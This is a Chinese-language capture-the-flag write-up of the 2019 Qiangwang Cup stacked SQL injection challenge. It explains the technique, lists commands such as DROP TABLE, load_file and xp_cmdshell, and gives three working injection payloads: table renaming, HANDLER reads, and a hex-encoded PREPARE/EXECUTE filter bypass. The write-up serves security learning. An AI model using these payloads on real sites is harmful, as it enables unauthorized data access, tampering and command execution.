2019年强网杯随便注入(堆叠注入实例)
堆叠注入
分号(;)在sql数据库中代表一句sql语句的结束,而如果在sql语句结束的后面在构造一条sql语句的话,会不会被执行呢?答案是肯定的。
因此,堆叠注入就是用分号作为每句sql语句的分隔,然后不断地在payload里构造sql语句。而联合注入(union select)与堆叠注入
的区别在于联合语句(union select)构造的sql语句是有限的,可以用来查询语句,而堆叠注入可以构造多条任意的sql语句。
缺点:堆叠注入第二个语句发生错误的话,由于 web系统中执行代码通常只会回显查询结果,所以我们在前端无法看到错误的结果的,
所以读取数据,最好用联合注入
用法:
启用phpstudy的mysql的命令
1 | mysql -u root -p |
新建表
1 | create table test like users //新建test这个数据表 |
删除表
1 | drop table test //删除test这个数据表 |
查询数据
1 | select 1,2,3 |
加载文件/读取文件
1 | select load_file('c:/tmpupbbn.php) //读取c盘下的tmpupbbn.php文件 |
修改数据
1 | insert into users(id,username,password) values('100','new','new') //在users表的列中添加id=100,username=new,password=new的数据 |
sqlserver中最为重要的存储过程的执行
1 | exec master..xp_cmdshell 'ipconfig' //执行master的存储过程,将命令字符串ipconfig,以系统命令shell的形式执行,并以文本的方式显示 |
修改表的名字
1 | rename table test to users //将test表的名字改为users |
修改表中列的名字
1 | alter table test change flag data varchar(100) //进入test表,将列flag的名字改为data |
添加表中的列
1 | alter table test add id int unsigned not null auto_increment primary key //进入test表,添加id这个列并自动赋值,auto_increment是自动赋值 |
###mysql数据库中的handler语句
创建一个表
1 | creat table handler_table(int id,name varchar(10)) //创建一个handle_table表,表里有id和name两个列 |
表中依次插入数据
1 | insert into handler_table values(3,'张三') //在handle_table表中插入数据:id=3,name='张三' |
打开一个表的句柄
1 | handler test open as a //打开一个test表的句柄,并命名为a |
不通过索引值看表,最后一行再用nest的话,回显示空格
1 | handler test read first //查看test表中的第一行 |
通过索引值查看表
1 | creat index handler_index on handler_table(id) //将handle_table表中的id字段创建索引,并命名为handle_index |
关闭handle_table表的句柄
1 | handler handler_table close |
实例
不断尝试各种闭合字符,发现当添加单引号的时候,发生报错,通过报错可以知道是单引号闭合
然后尝试?inject=1’union select @@version时,发现有正则过滤
因此我们可以想到堆叠注入,输入?inject=1’;show databases;–+
然后我们再输入?inject=1’;show tables;–+,可以看到有两张表
我们再输入?inject=1’;show columns from 1919810931114514
;show columns from words;–+,看到1919810931114514表中有flag
有三种解法
第一种:由于输入1查询时,数据库会自动调用words这张表,所以可以将1919810931114514这张表改为words,将words这张表改为其它名字,
然后再添加id这个列,并将flag改为data即可
构造payload
1 | ?inject=1';rename table words to words1;rename table `1919810931114514` to words;alter table words add id int unsigned not null auto_increment primary key;alter |
第二种解法:
利用handler语句
构造payload
1 | ?inject=1';handler `1919810931114514` open;handler `1919810931114514` read next;handler `1919810931114514` close;--+ |
第三种解法
将select语句进行16进制编码,绕过正则过滤。
可以使用prepare…from…预处理语句,会进行编码转换
然后用execute来执行由sqlprepare创建的sql语句
SET只能对后面的变量进行一次赋值
可以构造:?inject=1’;SET@a=……………………….;prepare execsql from @a;execute execsql;–+
最后可以得到flag